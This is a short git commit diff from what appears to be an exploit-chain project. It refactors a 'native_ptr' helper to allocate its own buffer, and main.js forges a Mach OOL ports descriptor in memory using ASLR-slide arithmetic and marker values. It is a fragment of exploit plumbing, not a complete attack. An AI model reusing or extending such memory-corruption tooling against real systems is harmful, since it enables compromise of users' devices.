summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--src/stage4/lib/native_ptr.js15
-rw-r--r--src/stage4/main.js4
2 files changed, 13 insertions, 6 deletions
diff --git a/src/stage4/lib/native_ptr.js b/src/stage4/lib/native_ptr.js
index 39c9fef..8c11306 100644
--- a/src/stage4/lib/native_ptr.js
+++ b/src/stage4/lib/native_ptr.js
@@ -11,12 +11,19 @@ class native_ptr {
this.size = our_proto.size;
this.buf_to_obj = our_proto.buf_to_obj;
this.obj_to_buf = our_proto.obj_to_buf;
- return;
+ } else {
+ this.size = arguments[1];
+ this.buf_to_obj = arguments[2];
+ this.obj_to_buf = arguments[3];
+ }
+
+ if (this.addy === undefined) {
+ this.addy = shit_heap(this.size);
}
- this.size = arguments[1];
- this.buf_to_obj = arguments[2];
- this.obj_to_buf = arguments[3];
+ if (our_proto.predef == true) {
+ return;
+ }
if (this.size === undefined) {
this.size = 4;
diff --git a/src/stage4/main.js b/src/stage4/main.js
index 7e79786..1420246 100644
--- a/src/stage4/main.js
+++ b/src/stage4/main.js
@@ -64,8 +64,8 @@ function main() {
var np2 = new native_ptr_u32(UNSLID_BASE + (get_our_slide() << 12));
var np3 = new native_ptr_u16_2(UNSLID_BASE + (get_our_slide() << 12));
- var addy = shit_heap(12);
- var np4 = new mach_msg_ool_ports_descriptor_t(addy);
+ var np4 = new mach_msg_ool_ports_descriptor_t();
+ var addy = np4.addy;
write_u32(addy, 0x41414141);
write_u32(addy + 4, 0x42424242);
write_u32(addy + 8, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));